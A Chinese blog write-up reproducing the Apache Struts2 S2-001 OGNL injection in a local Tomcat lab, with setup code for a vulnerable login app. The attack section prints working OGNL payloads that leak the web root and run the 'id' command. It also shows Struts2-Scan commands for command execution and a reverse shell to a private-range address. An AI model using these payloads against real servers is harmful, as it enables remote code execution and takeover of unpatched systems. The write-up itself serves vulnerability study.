S2-001复现

Last updated on a year ago

漏洞详情

https://cwiki.apache.org/confluence/display/WW/S2-001

​ 由于OGNL表达式的递归执行,造成了命令执行。

环境搭建

​ Kali Linux

​ IntelliJ Idea 2020.3.2

​ Apache-Tomcat/9.0.43

​ Java Open JDK 8

先给IDEA装struts 2插件:

新建项目:

下载strust2 jar,解压提取lib内的jar。

https://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip

1
2
3
4
5
6
commons-logging-1.0.4.jar
freemarker-2.3.4.jar
ognl-2.6.7.jar
struts2-api-2.0.1.jar
struts2-core-2.0.1.jar
xwork-2.0-beta-1.jar

WEB-INF 下创建 lib 目录,放入所需的jar包。

导入依赖包到项目中:

​ 左键IDEA左上角,文件-项目结构-模块 添加依赖的jar,勾选然后确定。

src 下新建 com.demo.action 包,包下再新建 LoginAction java类,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;


public String getUsername() {
return this.username;
}

public String getPassword() {
return this.password;
}

public void setUsername(String username) {
this.username = username;
}

public void setPassword(String password) {
this.password = password;
}

public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}

src 目录下新建 struts.xml ,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>

web 目录下新建 welcome.jsp 文件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

修改 index.jsp 文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a>
</p>
<s:form action="login">
<s:textfield name="username" label="username"/>
<s:textfield name="password" label="password"/>
<s:submit></s:submit>
</s:form>
</body>
</html>

修改 web.xml 文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
id="WebApp_ID" version="3.1">
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>

运行/调试配置,配置好jdk/tomcat所在目录:

构建项目然后运行(可以选择D bug模式),访问web页面:

复现attack

​ 验证,password输入%{6+6} 提交执行返回 12,即表示OGNL表达式被执行,漏洞存在。

使用以下Payload执行下命令查看下web路径?

1
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

OWASP ZAP用不习惯,直接用 HackBar 吧:

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

使用工具

https://github.com/HatBoy/Struts2-Scan

1
python3 Struts2Scan.py -u http://localhost:8080/S2_001_war_exploded/login.action -d "name=admin&password={exp}" -n "S02-001" --exec

漏洞存在,但不支持利用?

修改脚本1502行即可正常运行:
if name not in s2_list:if name not in s2_dict:

反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Tools/Sturts2/Struts2-Scan]
└─$ python3 Struts2Scan.py -u http://localhost:8080/S2_001_war_exploded/login.action -n S2-001 --reverse 192.168.176.1:8000

____ _ _ ____ ____
/ ___|| |_ _ __ _ _| |_ ___|___ \ / ___| ___ __ _ _ __
\___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \
___) | |_| | | |_| | |_\__ \/ __/ ___) | (_| (_| | | | |
|____/ \__|_| \__,_|\__|___/_____| |____/ \___\__,_|_| |_|

Author By HatBoy

[*] 请在反弹地址处监听端口如: nc -lvvp 8080

漏洞分析

​ 略


S2-001复现
https://guosec.online/posts/41ac148a.html
Posted on
March 27, 2021
Updated on
September 16, 2022
Licensed under
本博客所有文章除特别声明外,均采用  协议,转载请注明出处!